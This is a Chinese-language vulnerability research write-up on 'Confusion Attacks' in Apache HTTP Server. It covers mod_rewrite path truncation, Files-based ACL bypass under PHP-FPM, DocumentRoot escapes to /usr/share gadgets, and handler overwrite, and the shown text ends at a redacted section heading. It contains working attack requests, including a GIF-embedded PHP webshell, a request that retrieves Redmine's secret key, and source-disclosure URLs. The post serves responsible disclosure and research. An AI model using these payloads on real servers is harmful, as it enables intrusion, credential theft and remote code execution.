• 在故事之前
• 故事是如何開始的？
• 為什麼 Apache HTTP Server 聞起來臭臭的？
• 關於這次的新攻擊面： Confusion Attacks
  • 1. Filename Confusion
    • Primitive 1-1. Truncation
      • 1-1-1. Path Truncation
      • 1-1-2. Mislead RewriteFlag Assignment
    • Primitive 1-2. ACL Bypass
  • 2. DocumentRoot Confusion
    • Primitive 2-1. Server-Side Source Code Disclosure
      • 2-1-1. Disclose CGI Source Code
      • 2-1-2. Disclose PHP Source Code
    • Primitive 2-2. Local Gadgets Manipulation!
      • 2-2-1. Local Gadget to Information Disclosure
      • 2-2-2. Local Gadget to XSS
      • 2-2-3. Local Gadget to LFI
      • 2-2-4. Local Gadget to SSRF
      • 2-2-5. Local Gadget to RCE
    • Primitive 2-3. Jailbreak from Local Gadgets
      • 2-3-1. Jailbreak from Local Gadgets
      • 2-3-2. Jailbreak Local Gadgets to Redmine RCE
  • 3. Handler Confusion
    • Primitive 3-1. Overwrite the Handler
      • 3-1-1. Overwrite Handler to Disclose PHP Source Code
      • 3-1-2. Overwrite Handler to ██████ ███████ ██████
    • Primitive 3-2. Invoke Arbitrary Handlers
      • 3-2-1. Arbitrary Handler to Information Disclosure
      • 3-2-2. Arbitrary Handler to Misinterpret Scripts
      • 3-2-2. Arbitrary Handler to Full SSRF
      • 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket
      • 3-2-4. Arbitrary Handler to RCE
  • 4. 其它漏洞
    • CVE-2024-38472 - 基於 Windows UNC 的 SSRF
      • 透過 HTTP 請求解析器觸發
      • 透過 Type-Map 觸發
    • CVE-2024-39573 - 基於 RewriteRule 前綴可完全控制的 SSRF
• 未來研究方向
• 結語

在故事之前

這裡純粹是一些個人的 Murmur，如果只對技術細節感興趣可以直接跳到 —— 故事是如何開始的？

身為一名研究員、最大的快樂應該就是當自己的作品被同行關注並理解。所以當完成一個作品並擁有豐碩的成果後，理所當然會想要讓它被世界看到 —— 這也是為什麼我會多次在 Black Hat USA 以及 DEFCON 上分享的緣故。 在讀這篇文章的你也許知道，我從 2022 後就拿不到一個合法的簽證進入美國 (在免簽計畫中的台灣，通常只需要線上申請，數分鐘到數小時內就能取得旅行授權)，導致錯過 Black Hat USA 2022 的實體演講。甚至 2023 到秘魯還有復活節島獨旅也無法從美國轉機 :(

為了解決這個情況，我從今年一月就開始準備 B1/B2 簽證、撰寫各式文件、到大使館面試以及漫無止盡的等待，這不是一件好玩的事，但為了讓作品被看到，還是花了非常多的時間在為了簽證奔波，以及尋求各種可能，甚至到會議開始的前三個禮拜，還不清楚發表是否會被取消 (BH 一開始只接受現場演講，不過謝謝審稿委員對這份研究的認可最終還是能透過預錄的形式發表)，所以你所看到的所有內容包含投影片、錄影以及部落格文字都是在短短數十天內完成的。 😖

我只是一個單純的研究員，自認問心無愧，對漏洞的態度也始終是 —— 漏洞就該讓它被廠商知道以及修復。 寫這些文字也不為了什麼，純粹紀錄下一些無奈的心情、今年所做過的努力，以及謝謝在這個過程中幫助過我的人，謝謝你們 :)

故事是如何開始的？

大概是在今年年初的時候，我開始思考下一個研究的目標，也許你知道我總是希望挑戰那些影響整個網際網路的大目標，所以開始尋找一些看似複雜的主題或有趣的開源專案，例如 Nginx、PHP、甚至開始看起 RFC 來強化自己對於協議實作細節的認知。

雖然大部分的嘗試都以失敗告終 (不過有些也許會變成下一篇部落格主題 😉)，但在細細品嘗這些程式碼時，我回憶起了曾經在去年年中短暫看過 Apache HTTP Server 原始碼這件事！ 儘管最終由於工作的時程規畫並無深入的閱讀程式碼，但在那時就已經從它的編碼風格上「聞」到了一些不太好的味道。

於是在今年決定繼續下去，把「為什麼聞起來怪怪的」這件事從原本只是一個說不出的「感覺」具象化，深入下去研究 Apache HTTP Server！

為什麼 Apache HTTP Server 聞起來臭臭的？

首先，Apache HTTP Server 是一個由「模組們」建構起來的世界，從它官方文件中也看到其對於自身模組化 (MPMs - Multi-Processing Modules) 的自豪：

Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.

整個 Httpd 的服務需要由數百個小模組齊心合力，共同合作才能完成客戶端的 HTTP 請求，官方所列出的 136 個模組其中約有快一半是預設啟用或經常被使用的模組！

而更令人驚訝的是，這麼多模組在處理客戶端 HTTP 請求的時候，彼此之間還要共同維護著一份非常巨大的 request_rec 結構。 這個結構包括了在處理 HTTP 時會用到的一切元素，詳細的定義可以從 include/httpd.h 中找到。 所有模組都依賴這個巨大的結構去同步、溝通，甚至交換資料。 這個內部結構會像是拋接球般在所有模組間傳遞來傳遞去，每個模組都可以根據自己的喜好去隨意修改這個結構上的任意值！

這樣子的合作方式從軟體工程的角度來說其實不是什麼新鮮事，個體只需專心把份內事完成，只要所有人都乖乖完成自己的工作，那客戶就可以正常享受 Httpd 所提供的服務。 這樣子的分工在數個模組內可能還沒什麼問題，但如果今天把規模放大到數百個模組間的協同合作 —— 它們真的有辦法好好合作嗎？ 🤔

所以我們的出發點很簡單 —— 模組間其實並不完全了解彼此的實作細節，但卻又被要求要一起合作。 每個模組可能由不同的開發者實作，程式碼歷經多年的疊代、重整以及修改，它們真的還清楚自己在做什麼嗎？ 就算對自己瞭若指掌，那對其它模組呢？ 在缺乏一個好的開發標準或使用準則下，這中間必然會存在很多小縫隙是我們可以利用的！

關於這次的新攻擊面： Confusion Attacks

基於前面的思考，我們開始專注在研究這些模組間的「關係」以及「交互作用」。 如果有一個模組不小心修改到了它覺得不重要但對另一個模組至關重要的結構欄位，那可能就會影響該模組的判斷。 甚至更進一步，如果 Apache HTTP Server 對這些結構的定義不夠精確，導致不同模組對同一個欄位在理解上有著根本的不一致，這都可能產生安全上的風險！

從這個出發點我們發展出了三種不同的攻擊，由於這些攻擊或多或少都模組對於結構欄位的誤用有關，因此把這個攻擊面命名為「Confusion Attack」，而以下是我們所發展出的攻擊：

1. Filename Confusion
2. DocumentRoot Confusion
3. Handler Confusion

從這些攻擊出發我們找到了 9 個不同的漏洞：

1. CVE-2024-38472 - Apache HTTP Server on Windows UNC SSRF
2. CVE-2024-39573 - Apache HTTP Server proxy encoding problem
3. CVE-2024-38477 - Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request
4. CVE-2024-38476 - Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect
5. CVE-2024-38475 - Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path
6. CVE-2024-38474 - Apache HTTP Server weakness with encoded question marks in backreferences
7. CVE-2024-38473 - Apache HTTP Server proxy encoding problem
8. CVE-2023-38709 - Apache HTTP Server: HTTP response splitting
9. CVE-2024-?????? - [redacted]

這些漏洞都透過官方的安全信箱回報，並由 Apache HTTP Server 團隊在 2024-07-01 發佈安全性通報以及 2.4.60 更新 (詳細可參考官方公告)。

由於這是一個針對 Httpd 架構以及其內部機制所帶來的新攻擊面，理所當然第一個參與的人可以找到最多漏洞，因此我也是目前擁有最多 Apache HTTP Server CVE 的人 😉，導致很多更新修復由於其歷史架構無法向下兼容。 所以對於很多運行許久的正式伺服器來說修復並不是一件容易的事，若網站管理員不經思考就直接更新反而會打破許多舊有的設定造成服務中斷。 😨

接下來就開始介紹這次發展出來的攻擊們吧！

🔥 1. Filename Confusion

首先，第一個是基於 Filename 欄位上的 Confusion，從字面上來看 r->filename 應該是一個檔案系統路徑，然而在 Httpd 中，有些模組會把它當成網址來處理。 如果在 HTTP 請求的上下文中，有些模組把 r->filename 當成檔案路徑，而其他模組將它當成網址，這其中的不一致就會造成安全上的問題！

⚔️ Primitive 1-1. Truncation

所以哪些模組會把 r->filename 當成網址呢？ 首先是 mod_rewrite 允許網站管理員透過 RewriteRule 語法輕鬆的將路徑透過指定的規則改寫：

RewriteRule Pattern Substitution [flags]

其中目標可以是一個檔案系統路徑或是一個網址，我想這應該是一個為了使用者體驗所做出的方便，但同時這個「方便」也帶出了一些風險，例如在改寫路徑時，mod_rewrite 會強制把結果視為網址處理 (splitout_queryargs())，這導致了在 HTTP 請求中可以透過一個問號 %3F 去截斷 RewriteRule 後面的路徑或網址，並引出以下兩種攻擊手法。

Path: modules/mappers/mod_rewrite.c#L4141

/* * Apply a single RewriteRule */ static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx) { ap_regmatch_t regmatch[AP_MAX_REG_MATCH]; apr_array_header_t *rewriteconds; rewritecond_entry *conds; // [...] for (i = 0; i < rewriteconds->nelts; ++i) { rewritecond_entry *c = &conds[i]; rc = apply_rewrite_cond(c, ctx); // [...] do the remaining stuff } /* Now adjust API's knowledge about r->filename and r->args */ r->filename = newuri; if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) { r->path_info = NULL; } splitout_queryargs(r, p->flags); // <------- [!!!] Truncate the `r->filename` // [...] } ✔️ 1-1-1. Path Truncation

首先，第一個攻擊手法是檔案系統路徑上的截斷，想像下面這個 RewriteRule：

RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

伺服器會根據網址路徑 /user/ 後的使用者名稱開啟相對應的個人設定檔案，例如：

$ curl http://server/user/orange # the output of file `/var/user/orange/profile.yml`

由於 mod_rewrite 會強制將重寫後的結果當成一個網址處理，因此雖然目標是一個檔案系統路徑，但卻可以透過一個問號去截斷後方的 /profile.yml 例如：

$ curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml`

這是我們的第一個攻擊手法 —— 路徑截斷。 對於這個攻擊手法的探索先稍稍停留在這邊，雖然目前看起來還只是一個小瑕疵，但請先記好它，因為這會在之後的攻擊中一再的出現，慢慢把這個看似無用的小破口撕裂開來！ 😜

✔️ 1-1-2. Mislead RewriteFlag Assignment

截斷手法的第二個利用是誤導 RewriteFlag 的設置，想像網站管理員透過下列的 RewriteRule 去管理網站中路徑以及相對應模組：

RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]

如果請求附檔名是 .php 結尾則加上 mod_php 相對應的處理器 (此外也可以是環境變數或是 Content-Type，關於標誌的詳細設定可參考官方的手冊 RewriteRule Flags)。

由於 mod_rewrite 的截斷行為發生在正規表達式匹配後，因此惡意的攻擊者可以利用原本的規則，透過 ? 將 RewriteFlag 設定到不屬於它們的請求上。 例如上傳一個夾帶惡意 PHP 程式碼的 GIF 圖片並透過惡意請求將圖片當成後門執行：

$ curl http://server/upload/1.gif # GIF89a <?=`id`;> $ curl http://server/upload/1.gif%3fooo.php # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

⚔️ Primitive 1-2. ACL Bypass

Filename Confusion 的第二個攻擊手法發生在 mod_proxy 身上，相較前一個攻擊是無條件將目標當成網址處理，這次則是因為模組間對 r->filename 的理解不一致所導致的認證及存取控制繞過！

mod_proxy 會將 r->filename 當成網址這件事情其實很合理，因為原本 Proxy 的目的就是將請求「導向」到其它網址上，但安全往往就是單獨拿出來看沒問題，搭配在一起就出問題了！ 特別是當大多數模組預設將 r->filename 視為檔案系統路徑時，試想一下假設今天你使用基於檔案系統的存取控制模組，而現在 mod_proxy 又會把 r->filename 當成網址，這其中的不一致就可以導致存取控制或是認證被繞過！

一個經典的例子是，網站管理員透過 Files 語法去對單一檔案加上限制，例如 admin.php：

<Files "admin.php"> AuthType Basic AuthName "Admin Panel" AuthUserFile "/etc/apache2/.htpasswd" Require valid-user </Files>

在預設安裝的 PHP-FPM 環境中，這種設定可以被直接繞過！ 順道一提這也是 Apache HTTP Server 中最常見到的認證方式！ 假設今天你瀏覽了這樣的網址：

http://server/admin.php%3Fooo.php

首先在這個網址的 HTTP 生命週期中，認證模組會將請求的檔案名稱與被保護的檔案進行比對，此時 r->filename 欄位是 admin.php?ooo.php 理所當然與 admin.php 不符合，於是模組會認為當前請求不需要認證。 然而 PHP-FPM 的設定檔案又設定當收到結尾為 .php 的請求時透過 SetHandler 語法將請求轉交給 mod_proxy：

Path: /etc/apache2/mods-enabled/php8.2-fpm.conf

# Using (?:pattern) instead of (pattern) is a small optimization that # avoid capturing the matching pattern (as $1) which isn't used here <FilesMatch ".+\.ph(?:ar|p|tml)$"> SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost" </FilesMatch>

mod_proxy 會將 r->filename 重寫成以下網址並根據其中的協議呼叫子模組 mod_proxy_fcgi 處理後續 FastCGI 協議的邏輯：

proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php

由於這時後端在收到檔案名稱時已經是一個奇怪的格式了，PHP-FPM 只好對這個行為做特別處理，其中處理的邏輯如下：

Path: sapi/fpm/fpm/fpm_main.c#L1044

#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://" #define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://" if (env_script_filename && strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) { /* advance to first character of hostname */ char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1); while (*p != '\0' && *p != '/') { p++; /* move past hostname and port */ } if (*p != '\0') { /* Copy path portion in place to avoid memory leak. Note * that this also affects what script_path_translated points * to. */ memmove(env_script_filename, p, strlen(p) + 1); apache_was_here = 1; } /* ignore query string if sent by Apache (RewriteRule) */ p = strchr(env_script_filename, '?'); if (p) { *p =0; } }

可以看到 PHP-FPM 先對檔案名稱正規化並對其中的問號 ? 進行分隔取出其中實際的檔案路徑並執行 (也就是 /var/www/html/admin.php)。 所以基本上所有使用 Files 語法針對單一 PHP 檔案的認證或是存取控制設定在運行 PHP-FPM 的情境下都存在風險！ 😮

從 GitHub 上可以找到非常多潛在有風險的設定，例如被限制在只有內網才能存取的 phpinfo()：

# protect phpinfo, only allow localhost and local network access <Files php-info.php> # LOCAL ACCESS ONLY # Require local # LOCAL AND LAN ACCESS Require ip 10 172 192.168 </Files>

使用 .htaccess 阻擋起來的 Adminer：

<Files adminer.php> Order Allow,Deny Deny from all </Files>

被保護起來的 xmlrpc.php：

<Files xmlrpc.php> Order Allow,Deny Deny from all </Files>

防止直接存取的命令行工具：

<Files "cron.php"> Deny from all </Files>

透過認證模組以及 mod_proxy 間對 r->filename 欄位理解的不一致，上面所有的例子都可以透過一個 ? 成功繞過！

🔥 2. DocumentRoot Confusion

接下來要介紹的攻擊是基於 DocumentRoot 上的 Confusion Attack！ 首先你可以思考一下，對於下面這樣子的 Httpd 設定：

DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html

當瀏覽 http://server/html/about 時，到底實際 Httpd 會開啟哪個檔案？ 是根目錄下的 /about.html 還是 DocumentRoot 下的 /var/www/html/about.html 呢？

答案是 —— 兩個路徑都會存取。 這也是我們的第二個 Confusion Attack，對於任意[1]的 RewriteRule，Httpd 總是會嘗試開啟帶有 DocumentRoot 的路徑以及沒有的路徑！ 有趣吧 😉

[1] 位於 Server Config 或 VirtualHost Block 內

Path: modules/mappers/mod_rewrite.c#L4939

if(!(conf->options & OPTION_LEGACY_PREFIX_DOCROOT)) { uri_reduced = apr_table_get(r->notes, "mod_rewrite_uri_reduced"); } if (!prefix_stat(r->filename, r->pool) || uri_reduced != NULL) { // <------ [1] access without root int res; char *tmp = r->uri; r->uri = r->filename; res = ap_core_translate(r); // <------ [2] access with root r->uri = tmp; if (res != OK) { rewritelog((r, 1, NULL, "prefixing with document_root of %s" " FAILED", r->filename)); return res; } rewritelog((r, 2, NULL, "prefixed with document_root to %s", r->filename)); } rewritelog((r, 1, NULL, "go-ahead with %s [OK]", r->filename)); return OK; }

當然絕大部分的情況是目標檔案不存在，於是 Httpd 會存取帶有 DocumentRoot 的版本，但這個行為已經讓我們能夠「故意的」去存取 Web Root 以外的路徑，如果今天可以控制 RewriteRule 的目標前綴那我們是不是就能瀏覽作業系統上的任意檔案了？ 這也是我們第二個 Confusion Attack 的精神！ 從 GitHub 中可以找到千千萬萬個有問題的寫法，有趣的是甚至連官方的範例文件都是易遭受攻擊的：

# Remove mykey=??? RewriteCond "%{QUERY_STRING}" "(.*(?:^|&))mykey=([^&]*)&?(.*)&?$" RewriteRule "(.*)" "$1?%1%3"

除此之外還有其它亦受影響的 RewriteRule 例如基於快取需求或是將想副檔名隱藏起來的 URL Masking 規則：

RewriteRule "^/html/(.*)$" "/$1.html"

或是想節省流量，嘗試使用壓縮版本的靜態檔案規則：

RewriteRule "^(.*)\.(css|js|ico|svg)" "$1\.$2.gz"

將老舊的網站轉址到根目錄的規則：

RewriteRule "^/oldwebsite/(.*)$" "/$1"

對所有 CORS 的預檢請求都回傳 200 OK 的規則：

RewriteCond %{REQUEST_METHOD} OPTIONS RewriteRule ^(.*)$ $1 [R=200,L]

理論上只要 RewriteRule 的目標前綴可控，我們可以瀏覽幾乎整個檔案系統，但從前面的規則中發現還有一個限制我們必須跨過的，前面例子中所出現的副檔名如 .html 以及 .gz 的後綴都是讓我們沒那麼地自由的一個限制 —— 所以可以繞過這個限制嗎？ 不知道有沒有人想起前面在 Filename Confusion 章節所介紹的路徑截斷，透過這兩個攻擊的結合，我們可以自由的瀏覽作業系統上的任意檔案！

接下來的範例都基於這個不安全的 RewriteRule 來做示範：

RewriteEngine On RewriteRule "^/html/(.*)$" "/$1.html"

⚔️ Primitive 2-1. Server-Side Source Code Disclosure

首先來介紹 DocumentRoot Confusion 的第一個攻擊手法 —— 任意伺服器端程式碼洩漏！

由於 Httpd 會根據當前目錄或是當前虛擬主機設定決定是否當成 Server-Side Script 處理，因此透過絕對路徑去存取目標程式碼可以混淆 Httpd 的邏輯導致洩漏原本該被當成程式碼執行的檔案內容。

✔️ 2-1-1. Disclose CGI Source Code

首先是洩漏伺服器端的 CGI 程式碼，由於 mod_cgi 是透過 ScriptAlias 將 CGI 目錄與所指定的 URL 前綴綁定起來，當使用絕對路徑直接瀏覽 CGI 時由於 URL 前綴變了，因此可以直接洩漏出檔案原始碼。

$ curl http://server/cgi-bin/download.cgi # the processed result from download.cgi $ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # #!/usr/bin/perl # use CGI; # ... # # the source code of download.cgi ✔️ 2-1-2. Disclose PHP Source Code

接著是洩漏伺服器端的 PHP 程式碼，由於 PHP 的使用場景眾多，若只針對特定目錄或是虛擬主機套用 PHP 環境的話 (常見於網站代管服務)，可以透過未啟用 PHP 的虛擬主機存取 PHP 檔案以洩漏原始碼！

例如 www.local 以及 static.local 兩個虛擬主機都託管在同一台伺服器上，www.local 允許運行 PHP 而 static.local 則純粹負責處理靜態檔案，因此可以透過下面的方式洩漏出 config.php 內的敏感資訊：

$ curl http://www.local/config.php # the processed result (empty) from config.php $ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php

⚔️ Primitive 2-2. Local Gadgets Manipulation!

接下來是我們的第二個攻擊手法 —— Local Gadgets Manipulation。

首先，在前面介紹到「瀏覽作業系統上的任意檔案」時不知道你有沒有好奇： 「欸那是不是一個不安全的 RewriteRule 就可以存取到 /etc/passwd？」 對的 —— 但也不完全對。 蛤？

技術上來說確實伺服器會去檢查 /etc/passwd 是否存在，但 Apach HTTP Server 內建的存取控制阻擋了我們的存取，這裡是 Apache HTTP Server 的設定檔模板內容：

<Directory /> AllowOverride None Require all denied </Directory>

會觀察到預設阻擋了根目錄 / 的瀏覽 (Require all denied)，然而實際上這就沒戲了嗎？ 實際上再詳細追查各個 Httpd 的發行版會發現 Debian/Ubuntu 作業系統預設允許了 /usr/share：

<Directory /usr/share> AllowOverride None Require all granted </Directory>

所以我們的「任意檔案存取」似乎有點那麼地不任意。 不過我們打破原本只能瀏覽 DocumentRoot 的信任算是跨出很大的一步了。 接下來要做的事情就是「壓榨」這個目錄內的各種可能。　所有可利用的資源、目錄中現有的教學範例、說明文件、單元測試檔案，甚至伺服器上程式語言如 PHP、Python 甚至 PHP 的模組都有機會成為我們濫用的對象！

P.S. 當然上面只是基於 Ubuntu/Debian 作業系統發行的 Httpd 版本設定做解釋，實務上也有發現一些應用軟體直接把的根目錄的 Require all denied 移除導致可以直接存取 /etc/passwd

✔️ 2-2-1. Local Gadget to Information Disclosure

首先來尋找看看這個目錄下是否存在這一些檔案是可以利用的。 首先是目標 Apache HTTP Server 如果安裝 websocketd 這個服務的話，服務套件預設會在 /usr/share/doc/websocketd/examples/php/ 下放置一個範例 PHP 程式碼 dump-env.php，如果目標伺服器上存在 PHP 環境的話可以直接存取這個範例程式去洩漏敏感的環境變數。

另外如果目標同時安裝如 Nginx 或是 Jetty 的話，雖然 /usr/share 理論上該是套件安裝時所存放的唯讀複本，但這些服務的預設 Web Root 就在 /usr/share 下，因此也能透過這個攻擊手法去洩漏這些網頁應用的敏感資訊，例如 Jetty 上的 web.xml 設定等等：

• /usr/share/nginx/html/
• /usr/share/jetty9/etc/
• /usr/share/jetty9/webapps/

這裡簡單展示一個透過存取 Davical 套件所存在的 setup.php 唯讀複本去洩漏 phpinfo() 內容。

✔️ 2-2-2. Local Gadget to XSS

接著如何把這個攻擊手法轉化成 XSS 呢？ 在 Ubuntu Desktop 環境中預設會安裝 LibreOffice 這套開源的辦公室應用，利用其中幫助文件的語言切換功能來完成 XSS。

Path: /usr/share/libreoffice/help/help.html

var url = window.location.href; var n = url.indexOf('?'); if (n != -1) { // the URL came from LibreOffice help (F1) var version = getParameterByName("Version", url); var query = url.substr(n + 1, url.length); var newURL = version + '/index.html?' + query; window.location.replace(newURL); } else { window.location.replace('latest/index.html'); }

因此就算目標沒有部署任何網頁應用，我們也可以利用一個不安全的 RewriteRule 透過作業系統自帶的檔案來創造出 XSS。

✔️ 2-2-3. Local Gadget to LFI

至於任意檔案讀取呢？ 如果目標伺服器上安裝了一些 PHP 甚至前端應用套件，例如 JpGraph、jQuery-jFeed 甚至 WordPress 或 Moodle 外掛，那麼它們自帶的使用教學或是除錯用程式碼都可以變成利用的對象，例如：

• /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
• /usr/share/javascript/jquery-jfeed/proxy.php
• /usr/share/moodle/mod/assignment/type/wims/getcsv.php

這裡展示利用 jQuery-jFeed 所自帶的 proxy.php 來讀取 /etc/passwd：

✔️ 2-2-4. Local Gadget to SSRF

當然找到一個 SSRF 也不在話下，例如 MagpieRSS 提供了一個 magpie_debug.php 檔案就是一個絕佳的小工具：

• /usr/share/php/magpierss/scripts/magpie_debug.php

✔️ 2-2-5. Local Gadget to RCE

所以能 RCE 嗎？ 別急我們先慢慢來！ 首先這個攻擊手法已經可以把既有的攻擊面全部重新套用一次了，例如在某次開發過程中不小心被遺留下來 (甚至可能還是被第三方套件所依賴的) 的舊版本 PHPUnit，可以直接使用 CVE-2017-9841 來執行任意程式碼，又或者是安裝完 phpLiteAdmin (由於是唯讀副本所以預設密碼是 admin)，相信看到這邊會發現 Local Gadgets Manipulation 這個攻擊手法存在著無窮潛力，剩下只是發掘出更厲害以及更通用的小工具！

⚔️ Primitive 2-3. Jailbreak from Local Gadgets

看到這裡你可能會好奇： 「真的不能跳出 /usr/share 嗎？」 當然可以，這也是要介紹的第三個攻擊手法 —— 從 /usr/share 中越獄！

Debian/Ubuntu 的 Httpd 發行版中預設開啟了 FollowSymLinks 選項，就算非 Debian/Ubuntu 發行版但 Apache HTTP Server 也隱含地預設允許符號連結。

<Directory /> Options FollowSymLinks AllowOverride None Require all denied </Directory> ✔️ 2-3-1. Jailbreak from Local Gadgets

因此只要有套件在它的安裝目錄下符號連結到 /usr/share 外，這個符號連結就成為一個跳板去存取更多的小工具完成更多的利用。 這裡列出一些我們已經發現可利用的符號連結：

• Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
• Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
• Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
• MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
• SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

✔️ 2-3-2. Jailbreak Local Gadgets to Redmine RCE

越獄攻擊手法的最後讓我們展示一個利用 Redmine 的雙層符號連結跳躍去完成 RCE 的例子。 在預設安裝的 Redmine 程式碼目錄中有個 instances/ 目錄指向 /var/lib/redmine/，而位於 /var/lib/redmine/ 下的 default/config/ 目錄又指向 /etc/redmine/default/ 資料夾，裡面存放著 Redmine 的資料庫設定以及應用程式私密金鑰。

$ file /usr/share/redmine/instances/ symbolic link to /var/lib/redmine/ $ file /var/lib/redmine/config/ symbolic link to /etc/redmine/default/ $ ls /etc/redmine/default/ database.yml secret_key.txt

於是透過一個不安全的 RewriteRule 以及兩層符號連結，我們能夠輕鬆存取到 Redmine 所使用的應用程式金鑰：

$ curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f HTTP/1.1 200 OK Server: Apache/2.4.59 (Ubuntu) ... 6d222c3c3a1881c865428edb79a74405

而 Redmine 又是基於 Ruby on Rails 所開發的應用程式，其中 secret_key.txt 的內容其實正是其簽章加密所使用到的金鑰，接下來的流程相信對熟悉攻擊 RoR 的同學應該不陌生，透過已知的金鑰將惡意 Marshal 物件簽章加密後嵌入 Cookie，接著透過伺服器端的反序列化最終實現遠端程式碼執行！

🔥 3. Handler Confusion

最後一個要介紹的攻擊是 Handler 上的 Confusion。 這個攻擊同樣也利用了一個 Apache HTTP Server 從上古時期架構所遺留下來的技術債。這裡透過一個例子來讓讀者快速的了解這個技術債 —— 如果今天想在 Httpd 上運行經典的 mod_php，下面兩個語法設定你覺得哪個才是正確的？

AddHandler application/x-httpd-php .php AddType application/x-httpd-php .php

答案是 —— 兩個都可以正確地讓 PHP 運行起來！ 這裡分別是兩個設定的語法格式，可以看到兩個設定不僅用法、參數類似，現在連效果都一模一樣，為什麼 Apache HTTP Server 當初要設計兩個不同的語法？

AddHandler handler-name extension [extension] ... AddType media-type extension [extension] ...

實際上 handler-name 以及 media-type 在 Httpd 的內部結構中代表著不同的欄位，分別對應到 r->handler 以及 r->content_type。 而使用者可以在沒有感知的情況下使用則歸功於一段從 1996 年 Apache HTTP Server 開發初期就遺留到現在的程式碼：

Path: server/config.c#L420

AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r) { // [...] if (!r->handler) { if (r->content_type) { handler = r->content_type; if ((p=ap_strchr_c(handler, ';')) != NULL) { char *new_handler = (char *)apr_pmemdup(r->pool, handler, p - handler + 1); char *p2 = new_handler + (p - handler); handler = new_handler; /* exclude media type arguments */ while (p2 > handler && p2[-1] == ' ') --p2; /* strip trailing spaces */ *p2='\0'; } } else { handler = AP_DEFAULT_HANDLER_NAME; } r->handler = handler; } result = ap_run_handler(r);

可以看到在進入主要的模組處理器 ap_run_handler() 之前，如果請求中的 r->handler 為空則把結構中 r->content_type 欄位的內容當成最終將被使用的模組處理器。 這也就是為什麼 AddType 以及 AddHandler 效果一致的主要理由，因為 media-type 最終在執行前還是會被轉換成 handler-name。 我們的第三個 Handler Confusion 主要也就是圍繞在這個行為所發展出來的攻擊。

⚔️ Primitive 3-1. Overwrite the Handler

在理解這個轉換機制後首先第一個攻擊手法是 —— Overwrite the Handler，想像一下如果今天目標的 Apache HTTP Server 透過 AddType 將 PHP 運行起來。

AddType application/x-httpd-php .php

在正常的流程中瀏覽 http://server/config.php。 首先，mod_mime 會在 type_checker 階段根據 AddType 所設定的附檔名將相對應的內容複製到 r->content_type 中，由於 r->handler 在整個 HTTP 生命週期中並無賦值，於是在執行模組處理器前 ap_invoke_handler() 會將 r->content_type 當成模組處理器，最終呼叫 mod_php 處理請求。

然而如果今天有任何模組在執行到 ap_invoke_handler() 前「不小心」把 r->content_type 覆寫掉了，那會發生什麼事呢？

✔️ 3-1-1. Overwrite Handler to Disclose PHP Source Code

因此這個攻擊手法的第一個利用就是透過這個「不小心」去洩漏任意 PHP 的原始碼。 這個技術最早是由 Max Dmitriev 在 ZeroNights 2021 所發表的研究中提及 (kudos to him!)，演講主題及投影片可以從這邊看到：

Apache 0day bug, which still nobody knows of, and which was fixed accidentally

Max Dmitriev 觀察到只要送出錯誤的 Content-Length，遠端 Httpd 伺服器會發生不明的錯誤順帶回傳 PHP 的原始碼，在細追流程後發現其成因是 ModSecurity 在使用 APR (Apache Portable Runtime) 函示庫時並未好好的處理 AP_FILTER_ERROR 回傳值所導致的 double response。 由於發生錯誤時 Httpd 想送出一些 HTML 錯誤訊息，於是 r->content_type 也順便被覆寫成 text/html。

由於 ModSecurity 並未妥善的處理回傳值使得本該停止的 Httpd 內部流程繼續執行，而這個「副作用」又會把原本加上的 Content-Type 給覆寫掉，導致最終該被當成 PHP 的檔案被當成一般文件處理並將其中的程式碼及敏感設定印出。 🤫

$ curl -v http://127.0.0.1/info.php -H "Content-Length: x" > HTTP/1.1 400 Bad Request > Date: Mon, 29 Jul 2024 05:32:23 GMT > Server: Apache/2.4.41 (Ubuntu) > Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> ... <?php phpinfo();?>

理論上所有基於 Content-Type 的設定語法都容易遭受此類問題影響，所以除了 Max 在投影片中所展示的 php-cgi 搭配 mod_actions 外，純粹的 mod_php 搭配上 AddType 也同樣也受影響。

另外值得一提的是，這個副作用在 Apache HTTP Server 版本 2.4.44 時被當成一個增進請求解析器的程式錯誤被更正，於是這個「漏洞」就被當成已修復直到我重新撿起它。 但由於其根本成因還是 ModSecurity 並未好好的處理錯誤，只要找到其它條觸發 AP_FILTER_ERROR 的路徑那同樣的行為還是可以重現成功。

P.S. 此問題已於 6/20 透過官方信箱回報給 ModSecurity 並由 Project Co-Leader 建議回到原 GitHub Issue 中討論。

✔️ 3-1-2. Overwrite Handler to ██████ ███████ ██████

